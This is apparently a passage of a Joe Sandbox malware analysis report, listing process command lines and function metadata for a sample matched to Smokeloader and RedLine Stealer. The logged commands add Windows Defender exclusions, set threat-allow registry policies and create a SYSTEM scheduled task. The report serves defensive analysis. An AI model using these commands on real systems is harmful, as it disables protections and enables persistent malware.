Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x150000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff70ffd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x40000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe"
Imagebase:	0x400000
File size:	223'744 bytes
MD5 hash:	C5A6381354CD5D1488E362C9103C1851
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000026.00000002.2581381822.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000026.00000002.2621741485.0000000002E5B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	05:29:08
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Imagebase:	0xa20000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:29:08
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:29:08
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0xae0000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:29:08
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x40000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:29:08
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	05:29:09
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 8028 -ip 8028
Imagebase:	0x250000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:29:09
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8028 -s 356
Imagebase:	0x250000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	05:29:09
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Imagebase:	0xa20000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:29:09
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:29:09
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x40000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:29:10
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0xa20000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:29:10
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:29:10
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0x150000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	05:29:10
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	05:29:12
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F
Imagebase:	0x700000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	05:29:12
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.1%
Total number of Nodes:	1019
Total number of Limit Nodes:	27

Executed Functions

Function 00007FF7E35824C0 Relevance: 10.6, APIs: 7, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E35824CF
GetNumaHighestNodeNumber.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E358250D
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E3582539
GetProcessGroupAffinity.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E358254A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E3582559
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E35825F0
GetProcessAffinityMask.KERNEL32 ref: 00007FF7E3582603

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Process$AffinityCurrent$ErrorGroupHighestInfoLastMaskNodeNumaNumberSystem
String ID:
API String ID: 580471860-0
Opcode ID: 7ecf9e13a330afa06f8beef30d834f864ee4498cc9ed1855e1d3942379770bb5
Instruction ID: 9386393e204e6fec79bb729bb24309745dd2cf1abab1e21469f1d711b4301443
Opcode Fuzzy Hash: 7ecf9e13a330afa06f8beef30d834f864ee4498cc9ed1855e1d3942379770bb5
Instruction Fuzzy Hash: FE516D71A0D74686EA90AF25E440369BFA1EB48781FC40133D94DAB354DE3DE514CB22

Function 00007FF7E35755C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E357AE30: FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF7E35755CB), ref: 00007FF7E357AE3B
Part of subcall function 00007FF7E357AE30: QueryInformationJobObject.KERNEL32 ref: 00007FF7E357AF0E

Part of subcall function 00007FF7E357ACD0: GetModuleHandleExW.KERNEL32(?,?,?,?,00007FF7E3573699), ref: 00007FF7E357ACE1

RtlAddVectoredExceptionHandler.NTDLL ref: 00007FF7E3575638

Part of subcall function 00007FF7E357D5C0: _wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7E357D6BD

Strings

TotalStressLogSize, xrefs: 00007FF7E3575659
StressLogLevel, xrefs: 00007FF7E3575692

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: AllocExceptionHandleHandlerInformationModuleObjectQueryVectored_wcsicmp
String ID: StressLogLevel$TotalStressLogSize
API String ID: 2876344857-4058818204
Opcode ID: 45dc59bb53227d1381efa592a7d616e654f0d65a7567b6ffba862109cea427b1
Instruction ID: 8a558ea59f5320ca02f5f776b26350148aba68ee20914891c43331593aa1e0bd
Opcode Fuzzy Hash: 45dc59bb53227d1381efa592a7d616e654f0d65a7567b6ffba862109cea427b1
Instruction Fuzzy Hash: 5041A43290864681EAD0BF30E4417B9EBA1AF85785FC50033E94D37796DE3CE605C762

Function 00007FF7E3588F50 Relevance: 2.9, Strings: 2, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TraceGC is not turned on, xrefs: 00007FF7E3588F5A
Creation of WaitForGCEvent failed, xrefs: 00007FF7E35895C1

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: GlobalMemoryProcessQueryStatus$CurrentFrequencyInformationObjectPerformance
String ID: Creation of WaitForGCEvent failed$TraceGC is not turned on
API String ID: 133006248-518909315
Opcode ID: 542490f3281f9ec5935c23756829aefb1db30947c7d8b3d75492c27f59141b81
Instruction ID: c0760aeb5d37769148051a0f4e1050780151ba5b65e315c2352c7f46d0e0196e
Opcode Fuzzy Hash: 542490f3281f9ec5935c23756829aefb1db30947c7d8b3d75492c27f59141b81
Instruction Fuzzy Hash: 7C026520E0D64781FAD5FB31A895374FA95AF48782F85413BDC0E6B791DE3CA4608363

Function 00007FF7E35A0560 Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: dcdec6c9ce47749d2baf7434945b974f160bd7965fc480561c7d017017f294f8
Instruction ID: 48aa41f20a8d38345e32670f583147a532e09da9391603fe3a558a8904d65e77
Opcode Fuzzy Hash: dcdec6c9ce47749d2baf7434945b974f160bd7965fc480561c7d017017f294f8
Instruction Fuzzy Hash: 0302A060E1C70686FAD5AB25A490738FFA1AF49786F848637C81D77360DF3CB460D662

Function 00007FF7E359EB10 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7991890c23ebfd116d6d55ec6519a96bce7942f49d77f7d95a4840feb3b64dca
Instruction ID: d6bee82858ac812cc73bdf6d4e35dcd50ab8009590ae74c1f56ef7e93323b6a2
Opcode Fuzzy Hash: 7991890c23ebfd116d6d55ec6519a96bce7942f49d77f7d95a4840feb3b64dca
Instruction Fuzzy Hash: 3AF16F20D1DA4685F6C1FB34A991374FA616F99382FD49237D81D353A2EF3CA4B18262

Function 00007FF7E3582070 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7E35820DE
IsProcessInJob.KERNEL32 ref: 00007FF7E35820EE
QueryInformationJobObject.KERNEL32 ref: 00007FF7E358211E
GlobalMemoryStatusEx.KERNEL32 ref: 00007FF7E3582187
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7E35821CE
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7E3582245

Strings

@, xrefs: 00007FF7E358223A
@, xrefs: 00007FF7E35821C3
@, xrefs: 00007FF7E358216F

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus$Process$CurrentInformationObjectQuery
String ID: @$@$@
API String ID: 2645093340-1177533131
Opcode ID: f97ad304849a1431e4f3e87175d7cbd2d95d287c41a756e0b52c30f8d3b71cfe
Instruction ID: c51383b5aa20cc214f4c2cff968b0ed67dc615c809f66d0d296e3ad432ea59fb
Opcode Fuzzy Hash: f97ad304849a1431e4f3e87175d7cbd2d95d287c41a756e0b52c30f8d3b71cfe
Instruction Fuzzy Hash: F85134327097C185EBB19F21E4503AAFBA0FB88B50F944636CA9D57B98CF7CD4458B11

Function 00007FF7E357AE30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF7E35755CB), ref: 00007FF7E357AE3B

Part of subcall function 00007FF7E35824C0: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E35824CF
Part of subcall function 00007FF7E35824C0: GetNumaHighestNodeNumber.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E358250D
Part of subcall function 00007FF7E35824C0: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E3582539
Part of subcall function 00007FF7E35824C0: GetProcessGroupAffinity.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E358254A
Part of subcall function 00007FF7E35824C0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E357AE5A), ref: 00007FF7E3582559

Part of subcall function 00007FF7E357D5C0: _wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7E357D6BD

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00007FF7E35755CB), ref: 00007FF7E357AEAA
GetProcessAffinityMask.KERNEL32 ref: 00007FF7E357AEBD
QueryInformationJobObject.KERNEL32 ref: 00007FF7E357AF0E

Strings

PROCESSOR_COUNT, xrefs: 00007FF7E357AE76

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Process$AffinityCurrent$AllocErrorGroupHighestInfoInformationLastMaskNodeNumaNumberObjectQuerySystem_wcsicmp
String ID: PROCESSOR_COUNT
API String ID: 296690692-4048346908
Opcode ID: b270e94377580d3288a1bcf3e941d1207372f9dfc2ea9df1a3f3ba46b40a03d9
Instruction ID: 1ca0515319ce804d510d40eb45631e8a802bf78659f9fcbb1e332068596548c4
Opcode Fuzzy Hash: b270e94377580d3288a1bcf3e941d1207372f9dfc2ea9df1a3f3ba46b40a03d9
Instruction Fuzzy Hash: FA318271A1864386EBD4BB65D8803B9EB91EF84355FC00033E64D67795DE3CE6498722

Function 00007FF7E3576480 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF7E3576535
RaiseFailFastException.KERNEL32(?,?,?,00007FF7E362CFD2,?,?,?,?,?,00007FF7E3573941), ref: 00007FF7E3576561
RaiseFailFastException.KERNEL32(?,?,?,00007FF7E362CFD2), ref: 00007FF7E357659A

Strings

Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code., xrefs: 00007FF7E3576586

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastRaise$Sleep
String ID: Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code.
API String ID: 3706814929-926682358
Opcode ID: 4d4b1c8a821366a58e13932409344ef9bc2e3fedc110d7540238142b7d2ce7dd
Instruction ID: b2f3f197742d86d0d92ba4136047067ae63bd7f09805ec0a7722aff2621b9367
Opcode Fuzzy Hash: 4d4b1c8a821366a58e13932409344ef9bc2e3fedc110d7540238142b7d2ce7dd
Instruction Fuzzy Hash: 15416731919B4286E7D0EB25E494379BBA0EF08789F844037D94D537A4DF3DE550C712

Function 00007FF7E357B130 Relevance: 6.0, APIs: 4, Instructions: 26
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00007FF7E357B151
SetThreadPriority.KERNELBASE ref: 00007FF7E357B16D
ResumeThread.KERNELBASE ref: 00007FF7E357B176
FindCloseChangeNotification.KERNELBASE ref: 00007FF7E357B17F

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Thread$ChangeCloseCreateFindNotificationPriorityResume
String ID:
API String ID: 2150560229-0
Opcode ID: 797a42ad1a02e68e8dda0a1c160f46f9bccc89019008f5d8015a25128a62028d
Instruction ID: 27db71f1d9c39b1034729d8f08cd4cdb0bb0078717575abcaf52845281bdb4fb
Opcode Fuzzy Hash: 797a42ad1a02e68e8dda0a1c160f46f9bccc89019008f5d8015a25128a62028d
Instruction Fuzzy Hash: 2EE0E5A5A0470186FB44AB32A81433597916F99B85F881134CD4E56360EF3D92494510

Function 00007FF7E3581E90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

